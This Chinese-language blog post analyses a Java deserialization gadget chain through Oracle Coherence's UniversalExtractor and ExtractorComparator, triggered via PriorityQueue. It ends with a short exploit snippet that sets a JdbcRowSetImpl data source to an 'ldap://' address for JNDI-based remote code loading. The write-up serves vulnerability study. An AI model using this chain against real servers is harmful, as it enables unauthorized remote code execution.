首先给出payload地址:https://www.cnblogs.com/potatsoSec/p/13307315.html

分析

根据payload给出的内容可以看出主要触发点在com.tangosol.util.extractor.UniversalExtractor类中

可以看出该类与我之前分析的CVE-2020-2555反序列化的原理相似,都是在extract。进行invoke调用。这里可以看到虽然在if中包含了getMethod().invoke(oTarget, this.m_aoParam)这样的反射关键字,但是targetPrev参数是用transient修饰过的也就是说这个参数无法进行反序列化,并不能利用。这里需要跟入else的extractComplex方法继续查看。

可以看到这里有个findMethod的方法,在函数的结束返回了一个method.invoke(oTarget, aoParam)而这里的oTarget和this.m_aoParam是可控的,一个在调用时传参数,一个在实力化时被赋值。

查看findMethod可以发现在这里进行了clz.getMethod(sName, aclzParam),方法通过类、方法名以及方法的参数类型数组来反射返回该类中的特定方法。配合在return处的invoke整个反射链就形成了。接下来需要了解如何触发。

第一反应是我们需要在extractComplex方法中进入else判断。这里需要this.isPropertyExtractor()返回值为false,也就是需要this.m_fMethod的值为true.但这里的m_fMethod也被transient修饰了,我们无法利用。所以只能查看if中的findMethod方法是否可以利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
public boolean isPropertyExtractor() {
return !this.m_fMethod;
}

if (fProperty) {
String sBeanAttribute = Character.toUpperCase(sCName.charAt(0)) + sCName.substring(1);

for(int cchPrefix = 0; cchPrefix < BEAN_ACCESSOR_PREFIXES.length && method == null; ++cchPrefix) {
method = ClassHelper.findMethod(clzTarget, BEAN_ACCESSOR_PREFIXES[cchPrefix] + sBeanAttribute, clzParam, false);
}
} else {
method = ClassHelper.findMethod(clzTarget, this.getMethodName(), clzParam, false);
}

可以看到这里使用了sCName参数,该参数在UniversalExtractor类实力化的时候被赋值。

跟入init()的getCanonicalName方法可以看到,因为这里的参数是this也就是本身,所以这里sName会为空然后进入if判断中

1
2
3
4
5
6
7
8
public static <T extends Remotable> String getValueExtractorCanonicalName(Object oLambda) {
if (oLambda instanceof AbstractRemotableLambda) {
AbstractRemotableLambda lambda = (AbstractRemotableLambda)oLambda;
return CanonicalNames.computeValueExtractorCanonicalName(((MethodReferenceIdentity)lambda.getId()).getImplMethod() + "()", (Object[])null);
} else {
return null;
}
}

接下来进入computeValueExtractorCanonicalName看sName是如何赋值的。

如果aoParam不为空,或者结尾不是()字符则会便利VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES查看开头是否符合这个名单。而这个名单中只有两个内容get和is

在之前的extractComplex方法中我们看到了判断,也是类似的情况,也就是说。我们传入的方法需要以get和is开头,另外aoParam这个的值需要为null也就是说传入的方法不能带有参数。这里payload给出的方法是使用com.sun.rowset.JdbcRowSetImpl这个类,这个类大家应该都不陌生,fastjson最开始的利用链就是这个,在使用该类进行jdni连接时候会调用this.getDataSourceName()刚好满足get开头切无参数传递的方法。

至此到extractor这里整个流程就结束了,接下来是如何利用extractor触发反序列化呢?根据payload利用的是PriorityQueue不难想到是compare方法触发。

可以看到在com.tangosol.util.comparator.ExtractorComparator类中ExtractorComparator方法对this.m_extractor进行了赋值,compare方法中使用了extract(this.m_extractor),也就是说我们将m_extractor赋值成我们需要的方法。然后利用PriorityQueue触发compare进行extract完成整个利用链。

利用

1
2
3
4
5
6
7
8
9
10
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);

JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://" + command);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

Object[] q = new Object[]{rowSet, rowSet};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);

总结

整个过程是根据现有的exp流程分析,如果有其他的思路希望师傅们指点。